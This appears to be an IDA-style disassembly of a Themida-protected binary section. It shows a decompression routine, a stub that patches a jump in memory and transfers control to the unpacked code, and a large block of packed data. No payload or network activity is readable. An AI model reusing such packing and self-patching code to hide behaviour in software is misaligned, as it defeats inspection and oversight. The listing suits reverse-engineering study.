loc_515076:				; CODE XREF: Themida_:0051502Fj
		jmp	loc_515265
; ---------------------------------------------------------------------------
		add	eax, edi
		mov	ecx, 11526Ah
		add	ecx, edi
		jmp	short loc_515090
; ---------------------------------------------------------------------------


loc_515086:				; CODE XREF: Themida_:0051501Cj
		mov	eax, offset loc_58248B
		mov	ecx, offset word_51526A


loc_515090:				; CODE XREF: Themida_:00515084j
		push	eax
		push	ecx
		call	sub_51511B
		call	$+5
		pop	eax
		sub	eax, 26h
		mov	ecx, 1EFh
		mov	byte ptr [eax],	0E9h
		sub	ecx, 5
		mov	[eax+1], ecx
		popa
		jmp	loc_515265
; ---------------------------------------------------------------------------
		dw 9328h
		dd 788AE4C9h, 815EBCh, 63432DA8h, 0F065446Ch, 3ADC23BEh
		dd 759CA4D8h, 3163C78Eh, 93264C98h, 78F2E4C9h, 172F5EBCh
		dd 9122458Bh, 0D8B164C8h, 0DCBA75EBh, 1D3B76EDh, 5A4E2BEFh
		dd 1848C86h, 662A4924h,	1799B7DEh, 9122458Bh, 0D8B164C8h
		dd 0DCBA75EBh, 1D3B76EDh, 3163C78Eh, 93264C98h
		db 0C8h, 0E4h, 0F2h

; =============== S U B	R O U T	I N E =======================================



sub_51511B	proc near		; CODE XREF: Themida_:00515092p

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		pusha
		mov	esi, [esp+20h+arg_0]
		mov	edi, [esp+20h+arg_4]
		cld
		mov	dl, 80h


loc_515127:				; CODE XREF: sub_51511B:loc_51513Bj
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		mov	ebx, 2


loc_515132:				; CODE XREF: sub_51511B+7Aj
					; sub_51511B+C3j ...
		add	dl, dl
		jnz	short loc_51513B
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_51513B:				; CODE XREF: sub_51511B+19j
		jnb	short loc_515127
		add	dl, dl
		jnz	short loc_515146
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_515146:				; CODE XREF: sub_51511B+24j
		jnb	short loc_515197
		xor	eax, eax
		add	dl, dl
		jnz	short loc_515153
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_515153:				; CODE XREF: sub_51511B+31j
		jnb	loc_515238
		add	dl, dl
		jnz	short loc_515162
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_515162:				; CODE XREF: sub_51511B+40j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_51516D
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_51516D:				; CODE XREF: sub_51511B+4Bj
		adc	eax, eax
		add	dl, dl
		jnz	short loc_515178
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_515178:				; CODE XREF: sub_51511B+56j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_515183
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_515183:				; CODE XREF: sub_51511B+61j
		adc	eax, eax
		jz	short loc_51518D
		push	edi
		sub	edi, eax
		mov	al, [edi]
		pop	edi


loc_51518D:				; CODE XREF: sub_51511B+6Aj
		mov	[edi], al
		inc	edi
		mov	ebx, 2
		jmp	short loc_515132
; ---------------------------------------------------------------------------


loc_515197:				; CODE XREF: sub_51511B:loc_515146j
		mov	eax, 1


loc_51519C:				; CODE XREF: sub_51511B:loc_5151B0j
		add	dl, dl
		jnz	short loc_5151A5
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_5151A5:				; CODE XREF: sub_51511B+83j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_5151B0
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_5151B0:				; CODE XREF: sub_51511B+8Ej
		jb	short loc_51519C
		sub	eax, ebx
		mov	ebx, 1
		jnz	short loc_5151E3
		mov	ecx, 1


loc_5151C0:				; CODE XREF: sub_51511B:loc_5151D4j
		add	dl, dl
		jnz	short loc_5151C9
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_5151C9:				; CODE XREF: sub_51511B+A7j
		adc	ecx, ecx
		add	dl, dl
		jnz	short loc_5151D4
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_5151D4:				; CODE XREF: sub_51511B+B2j
		jb	short loc_5151C0
		push	esi
		mov	esi, edi
		sub	esi, ebp
		rep movsb
		pop	esi
		jmp	loc_515132
; ---------------------------------------------------------------------------


loc_5151E3:				; CODE XREF: sub_51511B+9Ej
		dec	eax
		shl	eax, 8
		mov	al, [esi]
		inc	esi
		mov	ebp, eax
		mov	ecx, 1


loc_5151F1:				; CODE XREF: sub_51511B:loc_515205j
		add	dl, dl
		jnz	short loc_5151FA
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_5151FA:				; CODE XREF: sub_51511B+D8j
		adc	ecx, ecx
		add	dl, dl
		jnz	short loc_515205
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_515205:				; CODE XREF: sub_51511B+E3j
		jb	short loc_5151F1
		cmp	eax, 7D00h
		jnb	short loc_515228
		cmp	eax, 500h
		jb	short loc_515223
		inc	ecx
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	loc_515132
; ---------------------------------------------------------------------------


loc_515223:				; CODE XREF: sub_51511B+F8j
		cmp	eax, 7Fh
		ja	short loc_51522B


loc_515228:				; CODE XREF: sub_51511B+F1j
		add	ecx, 2


loc_51522B:				; CODE XREF: sub_51511B+10Bj
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	loc_515132
; ---------------------------------------------------------------------------


loc_515238:				; CODE XREF: sub_51511B:loc_515153j
		mov	al, [esi]
		inc	esi
		xor	ecx, ecx
		shr	al, 1
		jz	short loc_515259
		adc	ecx, 2
		mov	ebp, eax
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		mov	ebx, 1
		jmp	loc_515132
; ---------------------------------------------------------------------------


loc_515259:				; CODE XREF: sub_51511B+125j
		sub	edi, [esp+20h+arg_4]
		mov	[esp+20h+var_4], edi
		popa
		retn	8
sub_51511B	endp

; ---------------------------------------------------------------------------


loc_515265:				; CODE XREF: Themida_:loc_515076j
					; Themida_:005150B1j
		jmp	loc_58248B
; ---------------------------------------------------------------------------
word_51526A	dw 38E9h		; DATA XREF: Themida_:0051508Bo
		db 90h
		db 35h,	52h, 1
		dd 2E98F2EAh, 0C8AFAE10h, 0FA43B836h, 112E92F2h, 3321AFBBh
		dd 0FFFA10EEh, 646501F2h, 356BFE7Dh, 7F02D302h,	0A404F062h
		dd 68CF7807h, 122CAFFh,	572C4F69h, 983301F9h, 10AFDAEh
		dd 0B87188FFh, 2422BF46h, 0FFEB0EE1h, 73655201h, 0CC726174h
		dd 2EE27041h, 0C2F978F4h, 1145761Fh, 21F91FC2h,	78D70817h
		dd 65076854h, 6164696Dh, 27FD5F08h, 0F8D78C45h,	0D4E4C58Bh
		dd 0AE86028h, 0ED815D00h, 7E4359Fh, 49951889h, 11B50D06h
		dd 20850F44h, 83081271h, 380E65BDh, 8B0C7407h, 0B8E222E8h
		dd 0C27B8164h, 244470C7h, 40513E1Ch, 45186A15h,	6829A3E8h
		dd 83743E9Ah, 0ADF507Ah, 894B1E25h, 0AD5910Ah, 0EC0214E9h
		dd 8B55D057h, 0C483EC0Ah, 5AC0EED8h, 408DEA81h,	0DA098B36h
		dd 1BD845C7h, 400E1808h, 7D810889h, 1DC680FCh, 7F200F74h
		dd 0F7832408h, 12FF9810h, 0E163EB43h, 7461DC36h, 0C2C91426h
		dd 81064604h, 2FF7CC4h,	0D644498Eh, 8045018Dh, 0C7085D8Bh
		dd 4A194485h, 0A8D50h, 1888C3D1h, 0BA88941h, 6A2BD81h
		dd 0E3755D02h, 8D282794h, 75EC64BAh, 0E8A8004h,	5B90F4BBh
		dd 0F37ABB8h, 0D0D37854h, 4B080FCCh, 5F7753Bh, 4647C3AFh
		dd 46624A24h, 0D142A2F9h, 78ABA61h, 0D85FF0D0h,	0A0FC45EEh
		dd 0A304EB4Dh, 8046C8ADh, 0F740C53Eh, 348436BAh, 0C197DE6h
		dd 0F83E7FEBh, 12C86D0Ch, 0F40E4CF0h, 0C14A10A8h, 4F06514h
		dd 0D1F803D6h, 96C203E0h, 0DB330128h, 80301C8Ah, 0A72CCFBh
		dd 77390AC3h, 0EFEBD305h, 7F142226h, 0A0D6761h,	1E08F666h
		dd 0AC3F4F5h, 1AC310EAh, 0D0B7241h, 677460Ah, 121EA24h
		dd 0EC87F05Dh, 317D83F4h, 0B3B07202h, 7676C00Ch, 26AA64A5h
		dd 76E01CF8h, 3BA8A08Dh, 0FFC0A55h, 9CBD7882h, 38AA1BB0h
		dd 8BA0EE5h, 700AB90Eh,	1CBD84FCh, 0FFE0038h, 1C754947h
		dd 5D22B9FAh, 1BBC06Ah,	82F11251h, 2DDEB76h, 0F868E80h
		dd 0FE08E53Ah, 0FD36E065h, 268A7317h, 91E94FBCh, 0DE6B591Fh
		dd 13045853h, 0C4725B21h, 25558A03h, 30458205h,	43211508h
		dd 7400C453h, 0D3BC6757h, 22105C6Bh, 0FA600281h, 67C32C02h
		dd 64F41982h, 80F17A1Ch, 0E0B810DCh, 0E134CB8Ch, 4E392281h
		dd 830F765Bh, 43D511Ch,	0B33BE3D1h, 75520E46h, 11AC2E09h
		dd 0EC05480Eh, 69065E4h, 0C5846300h, 54968E05h,	8F538022h
		dd 29C2040Ah, 0E8718C8Ch, 0A60EDBE7h, 2B0CFFB3h, 22047781h
		dd 0C134011Dh, 7533F984h, 3FBC9020h, 680A7677h,	0E8330EFh
		dd 8C26EC41h, 0FF7ECC7Fh, 453F4043h, 4060E9A9h,	8C52C462h
		dd 11254D02h, 13B1AA82h, 845AAB34h, 98561322h, 2A825EE6h
		dd 0A0812DEEh, 8139EB07h, 44B9F58Ah, 97230A13h,	0CE95043h
		dd 200A11CFh, 0F79ACC74h, 7FCB00A3h, 0F081446Dh, 0B8005CE9h
		dd 0DA8D67FFh, 1F0CBC53h, 471029Eh, 8205E281h, 5930512Bh
		dd 468AE4C4h, 1B2245h, 81C45141h, 93C3DEEEh, 0EAAB650Ch
		dd 81F0Dh, 4C0776A2h, 44BC505Eh, 7AB24E01h, 8610CA0Bh
		dd 612912D7h, 315420EAh, 3800842Eh, 16FC7B19h, 3BAA2F04h
		dd 0F000D03Ah, 1F82DB86h, 0C7248BF7h, 23076662h, 16D2C839h
		dd 699B8A21h, 8C52CC4Ch, 11C45A39h, 1D884D8Ah, 0C4524280h
		dd 884BEh, 0AF7DB50Eh, 14EA3CA4h, 0C0E323CEh, 0EDAEF27Fh
		dd 89C7072Bh, 0B7A66Dh,	18454A27h, 67DFB000h, 0C010E08Ch
		dd 816CAAD9h, 167DCC3Ch, 3F581EA1h, 87A444C5h, 36CADA91h
		dd 5446C21Ah, 88C45C1Ch, 1AC45D8Ah, 0C4544440h,	27036A0Dh
		dd 0EADD6784h, 0F01D000Fh, 6B81B0FAh, 0D201600Ah, 0AEC69A49h
		dd 9C865879h, 7E1376DCh, 30224220h, 3B3D07E9h, 0D0EE3224h
		dd 0C2DE9960h, 608D1060h, 96B12103h, 0BC30C882h, 0BFF91076h
		dd 78F61213h, 0C9B1063Ch, 0D3000DD8h, 65239DBh,	9861208Ch
		dd 8B238041h, 826200C6h, 0E6124DC4h, 8FA4EA20h,	0FBD6943Fh
		dd 0A9DEE413h, 9965000h, 788C4EA4h, 40EC1CD4h, 672B40E8h
		dd 54720FB9h, 6BFBA3Ah,	890645Fh, 69BE0018h, 0B503F084h
		dd 89E3507Fh, 44FD4CEh,	0EA460E47h, 6F120B1Ch, 6402EC32h
		dd 8F4442A1h, 624AE794h, 7B909D35h, 1F149A0Fh, 0F7A795h
		dd 0D667F5EEh, 5F0E4860h, 0C05D85FEh, 1DBD1FC6h, 0A9FA71h
		dd 0A12D910Ah, 538FDF5Fh, 616008CFh, 0C9C1BD3Ah, 0F579DD4h
		dd 614EC2B3h, 0BDD9BC0h, 641846AEh, 4831BFE7h, 97860390h
		dd 2869E5AAh, 0FDE09BC0h, 0D1115818h, 9956A81h,	24DA4CC2h
		dd 0E6217C00h, 52004527h, 4FC0F10Bh, 0A68194h, 205912B8h
		dd 4234E6C6h, 87E9B638h, 80579CE5h, 906CFBE0h, 0D2BE1DF0h
		dd 65564C02h, 0ED00DF60h, 66C80C49h, 0FCF1855h,	69D21AAEh
		dd 0BC62C2C0h, 600C4842h, 0B95CEBEFh, 0C184603Fh, 0CE7CBC23h
		dd 70515706h, 0C3198CDDh, 0FC3A5DD0h, 0D1CE9D6h, 178A2A22h
		dd 2507F916h, 0A7EEE319h, 4FE4F4h, 0B8C06879h, 955F0031h
		dd 0AC8B2E2Ch, 0C8031081h, 6A180540h, 87391B8Ah, 7AC041ADh
		dd 0AB0CA00Eh, 30825F8Eh, 413C186Eh, 4AAF3601h,	2CEC5800h
		dd 17C96B62h, 22E118F5h, 42054138h, 7948BCF1h, 28A2C107h
		dd 99803685h, 30B2Dh, 41ACCF14h, 4AA16362h, 0C86A40C7h
		dd 196D7381h, 3FA10BEh,	97051EB6h, 7018FEAEh, 54595542h
		dd 0D8630788h, 40A416B4h, 0DDD6D1BEh, 0A70D7300h, 0E54550Bh
		dd 5200B0C9h, 5308C1Bh,	20FF39E1h, 5296B700h, 0A953124Fh
		dd 55060062h, 406BDA29h, 6A7A7BAFh, 8AACFE38h, 84B15F86h
		dd 0E40B3B00h, 0DDC772h, 643DF88h, 4CE67A12h, 217090A0h
		dd 5E0074B8h, 5AD9AA8Ah, 39E7E3D5h, 0AC37096Fh,	8B263118h
		dd 1B50837Bh, 1AA887h, 706DF299h, 8D73A9FDh, 0A5844050h
		dd 0EEEAA014h, 24940180h, 0E2DC8C84h, 0C1213080h, 0C87365CEh
		dd 0E89E0503h, 0C820CB24h, 618CAC03h, 30C45916h, 6BC47009h
		dd 0E217211Bh, 0E797F988h, 873BA850h, 310460A1h, 7B11EE79h
		dd 8C28B763h, 54190017h, 0F1AF0952h, 0D8A03DF7h, 4146196Bh
		dd 2F0F4000h, 5EAA91FEh, 38B4AB24h, 169F0583h, 7CC80311h
		dd 61941BC2h, 68A06B8Ah, 0F28A4B9Ch, 0F40CEC00h, 57F50B86h
		dd 7B5E0C04h, 87684391h, 0E248AA50h, 2D31731Bh,	5C04A018h
		dd 4E3D33D3h, 80104010h, 50128A8Bh, 0DE744390h,	0FAD0054Ah
		dd 660030C9h, 0AA5B20C5h, 5CDC7A50h, 0D862732Dh, 0E5301BB1h
		dd 1249215h, 95443CA6h,	0C4F3C043h, 0C43C3EC8h,	126280FAh
		dd 7A3DBF40h, 28C31D4Dh, 15AC80D0h, 0A6A0AD1Fh,	4F80E854h
		dd 1E918660h, 3A815B8h,	39E26B57h, 0F03F7413h, 4497C4D5h
		dd 8B06ED1Ah, 4DA90A5h,	0BF140248h, 63184DACh, 0A50DE444h
		dd 690316B8h, 0ED39F61h, 0E2BF65B9h, 6E1C811Dh,	34961642h
		dd 0F8091914h, 10DEBB11h, 81B12350h, 5C44F23Ah,	202EA23Eh
		dd 59E3079Bh, 0E6BE5015h, 25006119h, 0E41D735Eh, 15D7E1F6h
		dd 0A08BC78Dh, 0A90F0A00h, 37097048h, 0A150FD60h, 8CCE59h
		dd 54B4103Bh, 3222A4DEh, 1CEDFF00h, 36CB7AABh, 0A26C00B3h
		dd 5930CD6Dh, 0C77EBBF5h, 57062707h, 5E475063h,	546AEA70h
		dd 0CDC4073Ch, 81F0645Bh, 0F012DA30h, 0AF7EE4A4h, 0B31F670Fh
		dd 0F52181EBh, 94E4D4D3h, 0E05100EFh, 5A620B97h, 0F009022h
		dd 3A36275Ch, 87CE49h, 8C2495C7h, 8E979666h, 67782892h
		dd 4239E81Fh, 70801855h, 4C6E6300h, 0C54A45B5h,	28E90007h
		dd 0C97F5CFDh, 0FB498EAAh
		dd 96E0248h, 8F5F0B53h,	0A61B84B8h, 28C09806h, 8B3F720h
		dd 137B09E6h, 0DF17000h, 0AC403DAh, 0E39AF96Fh,	9BDC00A4h
		dd 65FF5D47h, 9F3DC013h, 35ADAC04h, 71C1E223h, 849D001Fh
		dd 0F9F00D1Bh, 4C40FC2Eh, 0A61F61C0h, 6E006A2Dh, 8374DBC2h
		dd 96220C81h, 0EA9085EBh, 0F8AA0773h, 70B87C27h, 2DFEAD41h
		dd 74616300h, 9ED4F8B7h, 9DC82CACh, 0BDBF0144h,	20516E0Ah
		dd 77410730h, 998B31FCh, 94DD0E54h, 6D7FB920h, 0B5054154h
		dd 5F701EFh, 0D5228000h, 194CAC1Eh, 40918B86h, 0DBC3070h
		dd 23618AB8h, 66187C99h, 3C488822h, 26067610h, 0C71CC487h
		dd 7D7C1220h, 40B010C2h, 0B8687700h, 0AEC7201Ch, 0EA796C06h
		dd 3E592212h, 0E203D3D2h, 756E1862h, 849C6149h,	0A897EC42h
		dd 0E13EE550h, 28630048h, 0FADE0DD1h, 6403345Bh, 0E3E94955h
		dd 79593CC3h, 0A2879205h, 0E6C44080h, 0BAB05DC2h, 2B882E7h
		dd 862BFD64h, 22413DE0h, 8880A3DEh, 938083EFh, 9B141AD0h
		dd 0F40289B8h, 0A08018D6h, 872FEF79h, 392CAC07h, 409064D7h
		dd 5855A23Dh, 4173EC02h, 0F8EC57EFh, 21E8A14Eh,	48821B9Bh
		dd 923B8E4Ch, 2418E0A5h, 0B214CCBCh, 0A1E09101h, 11E5CA29h
		dd 8A302180h, 15A320FBh, 0A001CF7Fh, 0DB7D7379h, 68EC4BE0h
		dd 116B1CFDh, 6843D8BDh, 80400326h, 0A6E7F73Ah,	0C3B0061h
		dd 0AFC83456h, 962C6F93h, 0E380340Bh, 6E7902E4h, 0DF73019h
		dd 0E842A4B0h, 0A351EB04h, 88C09EC7h, 60FB0170h, 0CAD52011h
		dd 0D30B5018h, 8587C87Ah, 0A041EDF6h, 0EA723B09h, 32682C4h
		dd 93641B01h, 28431AD3h, 30F600F8h, 2F925C51h, 0F9FB0048h
		dd 0F3A70BD4h, 0D201DA14h, 18419C6Fh, 1C228265h, 8811AB10h
		dd 94248055h, 0DAA641D0h, 0A1FA401h, 7F9EB91Dh,	788A7F70h
		dd 943D5CE6h, 5E20613h,	4029E5B4h, 80F18DB0h, 2B0014AEh
		dd 9403C6DEh, 599F116Fh, 9511F8DBh, 0EFE840E4h,	0A81340h
		dd 801DED26h, 0AF113710h, 3B6C3A16h, 0D0393803h, 19701603h
		dd 0BFAC411Ah, 0C83DC721h, 0F1597BE3h, 0ABA30494h, 30A1FB26h
		dd 79AAC003h, 63961A79h, 48131987h, 92F023DCh, 0BD48690Bh
		dd 180AD1BEh, 42987A71h, 0ED110996h, 808C0310h,	11597700h
		dd 0D4F2C0FEh, 9F5C0CA8h, 30492BE5h, 5E1EDCF8h,	0AB841385h
		dd 0B4943D8Ch, 10059CD8h, 3EB3E97h, 0A8A504ABh,	510BE36h
		dd 8AD5E82Bh, 651C045Dh, 8C404581h, 0BD364C00h,	2FF3F8h
		dd 19E9A298h, 6DAD32FBh, 0F7F9F601h, 2E2DDB61h,	533E424h
		dd 1640365Bh, 6884205Eh, 0E83D51B7h, 9A0F12B9h,	7A14BB01h
		dd 6B3056E4h, 2000B86Dh, 0CC8010FAh, 6802B09h, 0F0DCB868h
		dd 989A17h, 0E42A4404h,	0CDEADB3Eh, 0EE429B18h,	3660769h
		dd 6F5894F8h, 4593FE9Fh, 0AE378EE8h, 9EDDDF00h,	3975EDECh
		dd 708A50C6h, 2CF3004Fh, 0B4FDAA86h, 348A00Fh, 0C1FE1EF3h
		dd 98DCDE43h, 0A839DF87h, 9411B030h, 10AE4C7Ch,	0D89EAA8Fh
		dd 8C4BB829h, 35190A60h, 3D2C1h, 0CEBF7D70h, 88DE5BC8h
		dd 5D16C00h, 5DA45957h,	56462898h, 6D182980h, 0A8AD04E0h
		dd 9DDC4662h, 3A112188h, 402C9211h, 605308B0h, 90DFEA09h
		dd 30580460h, 6E298D4Fh, 8C030B8Bh, 926DAA47h, 0FB84D8F1h
		dd 0DAEA0FB6h, 0E1C9515Bh, 0DDF60820h, 0FC0BEFF9h, 0A10E0B6Fh
		dd 22290C4h, 0E4651006h, 48C0C368h, 587E8050h, 11113004h
		dd 28160C21h, 18482092h, 1802FF43h, 2D696D5h, 8E50BC46h
		dd 8F0D0CA1h, 94C0657Ah, 8B609A00h, 9746751h, 73390182h
		dd 0DD7B62AEh, 81B44423h, 25CB2F0h, 3384442h, 0F59D0432h
		dd 6613CBADh, 45920C7h,	2CE7E30h, 0E325EE3Ch, 0AAEC0438h
		dd 212040A4h, 105092A5h, 7D1C3163h, 5419A639h, 0C25EA88h
		dd 306C0949h, 60E815E0h, 0BE3C591Fh, 0D32CBC59h, 2100485Dh
		dd 0E005E25Ch, 38FE07B6h, 0ECDB2666h, 9256C38h,	8B540F58h
		dd 70F40749h, 0C23021F8h, 934132D3h, 0C8305AD4h, 150B807Ch
		dd 0E4E564CBh, 2FDDB200h, 7350B6B5h, 37F4B869h,	4428D420h
		dd 5AB8B0E5h, 955D4203h, 0C066D2C9h, 2AD8D3E8h,	20D4F6E1h
		dd 5C26A8EDh, 0E812369Ah, 7C08A856h, 0A36E0F78h, 500D0895h
		dd 0AD8240Ch, 700924B4h, 6DC06240h, 0B9786221h,	0C16394CAh
		dd 0C68C7901h, 24216555h, 874B1A4h, 0A3825D64h,	0AA8B9404h
		dd 3609A418h, 6618021Eh, 0E913E05Bh, 71076009h,	76F9AA0Dh
		dd 0E9A2403h, 0D82834ACh, 6190B5Dh, 8666B33Ah, 0C809414Eh
		dd 200E8BA3h, 0D52EC128h, 68152C8Fh, 0BF45009Ch, 0E2C31FFCh
		dd 9830D728h, 42E3DC44h, 501508B6h, 8C48852Dh, 0B8567Eh
		dd 0B5415C08h, 1E8646Dh, 0A42E3718h, 17AD4AFEh,	211BA210h
		dd 914B23F4h, 0AB092FC8h, 1A89A507h, 64BEC103h,	105E6037h
		dd 90408965h, 58D71E06h, 0E21458CEh, 0A0850C58h, 0A6286822h
		dd 281EDCAAh, 0E8591019h, 29F29658h, 4EF8C80h, 653A9399h
		dd 5D784C1Bh, 54630164h, 554B134Ah, 404405Ah, 0C8A18723h
		dd 0D00C0CCh, 1A10A9D8h, 30D02D08h, 0E5915E7Dh,	4490E7F3h
		dd 4851BB4Eh, 2A18B83Ch, 0F6A4C269h, 542C4F62h,	30225844h
		dd 0A134BC52h, 800B21C5h, 0DE0AA3Ah, 357017D9h,	0AC10151Ch
		dd 425BEB0Bh, 0A517C882h, 4232FA61h, 0BCB6E948h, 0E9C36C46h
		dd 610B45DEh, 0A2BC1926h, 277E661Ch, 0CD398DA1h, 2824299Bh
		dd 0F04254A8h, 0BEFAF10h, 4B9F1A0h, 944014A4h, 5DDF5E27h
		dd 75AB3101h, 8C429EE4h, 18313CC5h, 22327051h, 18CCE8C5h
		dd 818F6E7Fh, 6E1B5223h, 2099DDE2h, 0D8BC49BAh,	0A0A1E2B4h
		dd 709C240Dh, 0C8D208DDh, 0A581A481h, 2CE57064h, 88E250h
		dd 9EC65222h, 47009C3Eh, 6D80A234h, 2F5F44h, 0E1BB0F56h
		dd 0CAD71995h, 4BD8CE07h, 0F4D0F7D0h, 1C85893Ch, 0CFC6E9C7h
		dd 29C0E226h, 879F9994h, 5D7D6E00h, 76D4BDCEh, 0D32600BAh
		dd 0D73EF4BCh, 40C7A8FBh, 0EEF4878Bh, 38E24C00h, 8807AA18h
		dd 2B5A8D9Fh, 9EC1C990h, 197791h, 3EE8D007h, 0F556B2C0h
		dd 877A3A00h, 0BAC63CE0h, 35D70242h, 9188A018h,	44880C5h
		dd 0F8A8DE7Fh, 0D03B37CBh, 0D8AAA43Bh, 29699400h, 0B9C9EAh
		dd 2833D519h, 40E7FDD6h, 0A800D77Ah, 928E3E03h,	30FC32D1h
		dd 2C4026D3h, 0D27D4BA2h, 0E2378707h, 2320CB9Eh, 2DB05FEh
		dd 20BC0BCh, 92603857h,	0D0189382h, 0D640C626h,	0A32B203Dh
		dd 32878800h, 9EBDB85Bh, 24223D9Dh, 0DDCCF80h, 4174B9DBh
		dd 9300E97Dh, 0CEFCF3E1h, 3DC8F0h, 6F4B9D17h, 5B315492h
		dd 2438BA4Ch, 745D94E2h, 0A142C900h, 99A3FD31h,	787719Ch
		dd 0BCB8E27Ch, 616809Eh, 0E83CC007h, 72F70040h,	8C89E00Ah
		dd 0FF430715h, 0E3D926C8h, 0D1D06F31h, 29006E44h, 0F78C960h
		dd 1B282Ah, 0E803B4C4h,	46CA7B8h, 8918F47Eh, 24403119h
		dd 323320D7h, 5D446B00h, 78B6E27Eh, 1A960019h, 31C8D522h
		dd 0B30F9E4Dh, 0C0EFFFA8h, 0FA3CD47Ch, 0D74A000Ah, 9B6F1747h
		dd 5C0E936Dh, 76B6EC7Eh, 0EA8C6Ah, 3DC6034Fh, 2931E2h
		dd 9466999Dh, 0FAED336Bh, 489E7E1Dh, 0E1032090h, 56B49D2Fh
		dd 8747F780h, 0C63DD40Eh, 40007FCCh, 0D184ABE6h, 83570079h
		dd 0E1B4BAE5h, 277BDB98h, 4931B91Dh, 466CA80h, 0FE852661h
		dd 0AF90029h, 2738D03Ah, 0D60097AEh, 542E8778h,	19EBA0Fh
		dd 0D4052D42h, 0CC4B31CAh, 0FF006BF7h, 0D08B88F3h, 0AC8EEh
		dd 153BDA2Dh, 90D2856Fh
		dd 1E85A39h, 28A3BEB8h,	0AC6019DBh, 0C6D88EAh, 89753E13h
		dd 0B72504D2h, 0DE60FF04h, 59AC9Eh, 54A6D508h, 67B8C8F2h
		dd 0F318F114h, 0A400AB34h, 7650C58h, 7900F153h,	0B8F259B3h
		dd 214080FBh, 0E540E775h, 0F8E2FC2Fh, 774300A4h, 3B76868Eh
		dd 7A2F9085h, 2240810Eh, 7CDE870Bh, 0ED7B8040h,	60E1F510h
		dd 6513F073h, 28E03F21h, 356EE25h, 225DD250h, 71002318h
		dd 0E8D88EA8h, 763A108Dh, 1CD256D3h, 0BCB45820h, 0E1016C40h
		dd 8A441CF1h, 381DC166h, 2FFF8E42h, 21E80802h, 507C4Bh
		dd 60D059AAh, 0E56742DFh, 62600341h, 0C5C6FCFh,	4C681541h
		dd 21C05E08h, 99623AA5h, 0FC700F8h, 45DBD3E9h, 0A3186877h
		dd 57A09401h, 7F1888DFh, 6AD1D661h, 208453AAh, 225F0D47h
		dd 44A410E6h, 3F28C01h,	4F96402h, 0AF0B9840h, 5C80954Eh
		dd 20E8E3E6h, 449F0580h, 0C2008992h, 2BA0BB6Ah,	9743D53Dh
		dd 0EB8B7420h, 0E000C0Ah, 76E827BFh, 0C8AEF53h,	74EF96Dh
		dd 9614A888h, 904725h, 897EDC71h, 3AB4F15h, 0D53620EFh
		dd 0A3F7405Ch, 59125F5Dh, 8417C50h, 0AEAC3AE1h,	8772568Fh
		dd 97DB3B23h, 0C3E605F0h, 40E70400h, 5E530BF5h,	0D4FD0063h
		dd 3C1BE1F6h, 900C141Dh, 59524295h, 51AD0088h, 0FA9C75A0h
		dd 0A006DC1h, 789ABC4Dh, 124170h, 0C489AB2Fh, 39B3C716h
		dd 0BA0AF915h, 654000E8h, 0D40227CCh, 2089951Dh, 0A9494C70h
		dd 49DB0C4Ch, 4501816h,	0E0E9C4D5h, 27A4AD2Dh, 0EAD8A061h
		dd 2748AAADh, 0C4C03820h, 18252366h, 40FCCC6Dh,	0D300E859h
		dd 0E2C3887Ch, 3C002E4h, 51DA8771h, 0F15FBC63h,	8766884Eh
		dd 11DC4AC4h, 55DA0080h, 0B6D8051Dh, 0DF66DDFEh, 217B08h
		dd 2D55D123h, 0EA9560E9h, 68309B1Dh, 3CA40612h,	0EB777CBEh
		dd 86AA6440h, 0E8B2509Fh, 54F0DD5h, 0F3D9F042h,	67069BB0h
		dd 9600F6F8h, 0D302BB55h, 48510B12h, 0D2238887h, 0CC623B01h
		dd 6118446Fh, 53A688h, 1A0DAD62h, 7A83DD3Fh, 180B8C26h
		dd 29C95D87h, 0E287D8B0h, 0CAC400D4h, 0C3679454h, 0DB02D552h
		dd 0C6906355h, 4F4C5E01h, 8C4E9894h, 830933B0h,	2A2C9E5h
		dd 80B91FA0h, 641824F8h, 46ACA668h, 55D801C6h, 0B508051Bh
		dd 4988790Ch, 2E5514D0h, 6710986Fh, 16C50178h, 0D8659003h
		dd 986022FBh, 223160A1h, 1CD12610h, 2018EF5Eh, 7E62750h
		dd 69DCA101h, 87059389h, 2CC7EF6h, 350163E2h, 56887C5Ch
		dd 4F9065F0h, 12090BF0h, 45C00493h, 370025C8h, 8C036DACh
		dd 0E91ED5A4h, 0EE58402Eh, 0A28325C1h, 94C25E28h, 0DC01CA46h
		dd 0E8051F55h, 1D000BB6h, 21255D3h, 0A6002804h,	6FFDB860h
		dd 9D165F21h, 2080180Ah, 60B8DBF5h, 55DD60B4h, 0E005241Ah
		dd 0D4207070h, 408C5500h, 5D4DD92Eh, 4F7925F2h,	3B0158E8h
		dd 33DE0C00h, 7FD4BBDCh, 492C00BAh, 32E06ECBh, 9A00D7C2h
		dd 7BDA3F25h, 9DB6F90Eh, 2EA25081h, 9C133F7Fh, 0AAA0B8B0h
		dd 39D482E0h, 8088548Dh, 0C7A31BB9h, 0AC12C663h, 0ECE09A21h
		dd 0D621CE13h, 0FE48A3A0h, 4604D961h, 540B1893h, 6050088Ch
		dd 5B28B185h, 0E91DC86Fh, 4C0730F2h, 82892B05h,	15C26E4h
		dd 0CCE33B63h, 0C673681Bh, 5E971202h, 6ABB96ACh, 0D53084C4h
		dd 0EC623861h, 448C4C6Fh, 5000A355h, 0D2F40162h, 0C95A5E14h
